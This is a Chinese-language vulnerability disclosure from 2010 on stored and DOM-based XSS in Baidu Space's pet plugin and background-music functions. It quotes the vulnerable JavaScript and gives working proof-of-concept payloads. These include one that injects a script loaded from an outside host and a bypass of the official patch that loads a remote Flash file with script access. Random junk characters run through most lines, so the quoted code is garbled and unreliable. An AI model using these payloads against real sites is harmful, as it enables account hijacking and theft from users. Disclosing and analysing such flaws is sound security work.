百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
f9 l- @. G( }! L: h( w, ^! c/ \: b/ ` d' Z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
8 A. V; |5 D$ K( l* g2 a4 `2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ! g5 r5 A( i' ^# |0 e8 p
& O7 M/ |7 T0 V5 D: X
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
/ D! b# o$ c3 b# f其中BdUtil.insertWBR为
& g( s$ C: ^# @# x) xfunction(text, step) { 6 d1 g0 [* V$ k
var textarea = textAreaCache || getContainer(); ; M: s) B9 M+ H5 M
if (!textarea) {
% X+ H4 `* L6 T2 m. \ return text;
0 _1 J; c. k/ V, u }
! F0 _( v5 d7 ^- L& { x( \$ x textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
% L: ^7 l+ R, S var string = textarea.value; 0 Z' F- Y! ^/ s/ p6 s
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
$ Q/ x* x& I7 S! u5 b var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); C) Y" { g1 j
return result; & e$ P) X9 c# B7 K' q D1 n" |
} ) R2 `8 X8 C1 J, {# H. ~0 {1 }8 i0 `
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 3 T4 h9 j2 [/ F6 j% \0 i
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 8 a- z. _- Z+ `: d+ b
+ R5 p, M: X; Z5 o: e' O8 @* b s
二:creatbgmusic() Dom-Xss Bug / Y& ?" E# o( o2 g( ^6 i. ~8 N
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
# W% Q% |& t+ _3 O& d* ~6 t/ j6 M) L
7 W, s& M' x. G9 ~( ^0 K1 F* s2 C在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
2 X( L/ W! C. s* c
. I6 v+ l5 `% a, e8 q9 Dfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
& i' Z$ n7 t9 [/ b* h8 n //传入的murl赋值到bgmusic1和bgmusic2中 : y l9 ?/ i7 V
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
" _* V6 C6 r/ j9 i/ ?* h var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; / O7 y6 M8 R3 y6 M) h6 W
if (musicnum <= 1) {
/ _/ Y" |4 g8 i% L e% Z! m bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
1 h2 J5 Q8 j' J. F+ Y7 m6 c8 F) c } # m4 ~4 m- w" U
bgmusic1 += "</OBJECT>";
; k1 {8 Y( j" B: f o/ s var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
3 N; d! O" _- B" s \# g if (musicnum <= 1) {
1 G, { k& h9 r5 e7 J( X1 r" ] bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
3 F, d& |) }/ z6 W. g1 ?% y$ | } ) B F' Z' ]: ]7 W6 R
bgmusic2 += "> </EMBED>"; ! y. F$ |& H# k
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; - I9 r- g6 v, P' H4 L$ d
var bgmus = detectWMP();
5 d' z- q) R" R- Z if (functype == "FckMusicHelper") { 7 K, Z( C. ^# c
if (bgmus.installed) {
' u( |: [ S' a+ a i( ] if (bgmus.type == "IE") {
1 H) \9 }+ K# U5 Q* p8 e- ^' Q return bgmusic1;
9 i& Q' W* s+ v } else if (bgmus.type == "NS") {
: P9 t* s0 ]1 J( T return bgmusic2; ' i+ g* V9 b7 J e+ c
}
$ r+ j4 M8 T) P/ u3 S! w+ \4 m3 D } else {
4 o* d0 m, p8 A/ m1 i! [ return bgmusic3; 8 m7 r; Q( t# y. B6 N% A) c
} 2 K5 ^& i+ [$ N
} else { 0 i/ g; c; F7 S! m% g4 @! x5 \
if (bgmus.installed) {
) J; n* x3 O6 x0 {+ ^ //document.write 直接输出bgmusic变量 导致xss 0 |3 s* x& _1 j2 j& X
if (bgmus.type == "IE") { , J7 ?- j# I# `) L$ \( q; F
document.write(bgmusic1); . A5 `8 G7 s; t7 z- L5 r0 t
} else if (bgmus.type == "NS") { ) q4 _8 @" Y' k; `4 L
document.write(bgmusic2);
/ u* F" F* m* n- H' Y j# s2 z }
- ^& f3 A) |% }' _( _ } else {
3 O, M3 N+ I5 g& N, r document.write(bgmusic3); : Y. z( J% H0 O: }1 ^% K9 c
}
/ ~+ |0 x4 ?3 x" G: [; t return ""; % A- q, D: _ G0 [
} 1 F4 `/ K' G `1 ^6 _! J
} 1 e. E. l2 i. V' W4 R
1 ]6 N& t+ n$ v+ o& y; D' d+ u
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 6 O0 z1 M3 |) D2 d+ P
4 M7 L# p1 {: M d& ?. [0 J& Pfunction initBlogTextForFCK(){
1 x f2 o8 n, X2 Q5 K- d//fck init music
% `' D3 X# u# k0 h" nif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 9 c: K) G, m0 ~0 P1 {6 A
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
! ]5 J+ ?# `: {9 T9 vvar isAutoPlay=true;
4 k% ~# s2 j {2 f" D9 sfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ' v8 ]. o" a, N
var img=imgBox;
9 e# u3 ?) X8 s* ~2 m7 ] if(img.getAttribute(’rel’)){
7 E- ~% w" @( }" s% i- M( _ var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
1 k! b) l: r# B) R+ j var musicDiv = document.createElement("SPAN"); * X3 t7 ]2 s. \& r. M4 r7 z0 ~
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] s( A& m" L2 c% V4 {! G
3 ]; r6 _$ o* T. y% f n. A8 o" X& k7 k
.......................... 1 h2 [5 \* [. Q- Y
6 o m7 g }7 q2 o6 }. _' G f" S
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. # r- g& w7 e+ u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); , t" V8 t+ x' ~$ {; a
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
6 q' u3 j( l( Y8 k5 p musicDiv.innerHTML=shtml;
$ O: `* k* u6 l+ H( _ i--;n--;
& f7 t, C1 J: i, D6 v& { }
9 ]7 f4 p- G( f4 ^0 W8 _7 `5 m}
/ C, x/ _1 a7 ? y' [, P
' W! c9 O' s8 P) d# o; S9 A- X从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
( F% Z5 g" k9 x. ]+ T ' v8 r' J3 w0 o, `) |% n7 h" W
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> f4 p9 @" ]* V9 O
/ x& ?/ S1 I9 B$ ^5 G. e% p- B等待官方补丁 $ D) d" V' V- P' @
3 `0 I( N! m, V3 X. p8 v
update 2010年5月13日 - t/ ~, ], T$ B6 Q* j
+ w" E3 U: ]- M1 P, a; r, Y
官方补丁: - B# e2 T& ]: B$ d- c
$ N8 E* V1 d6 A( s2 V; W, f
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ( v1 {* G( D4 P( S" |2 N
改为: & l7 c# @( y8 x/ S6 ]0 ?' `
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ' o# p C. _7 z# C1 D
: {5 Q# G% Z8 l( U wupdate 2010年5月13日 21:50:37 ! d# j) \, G/ a9 k; F
3 G3 m) a! Y$ v' ^( o+ R补丁存在漏洞 没有过滤" 可以继续跨: * B" g0 d4 x x3 N! H
. G/ ~2 K! m# C3 X# Y4 q8 VNEW POC: 1 \7 D; x! W. D6 o
0 q0 a( p& [; |4 ^& y- ~<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
( j( {& f w! }2 c6 R
' s7 e4 Q. T( Jallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 `3 P/ d3 g5 t+ S8 }0 t, W
" R7 e2 m7 b8 G( j |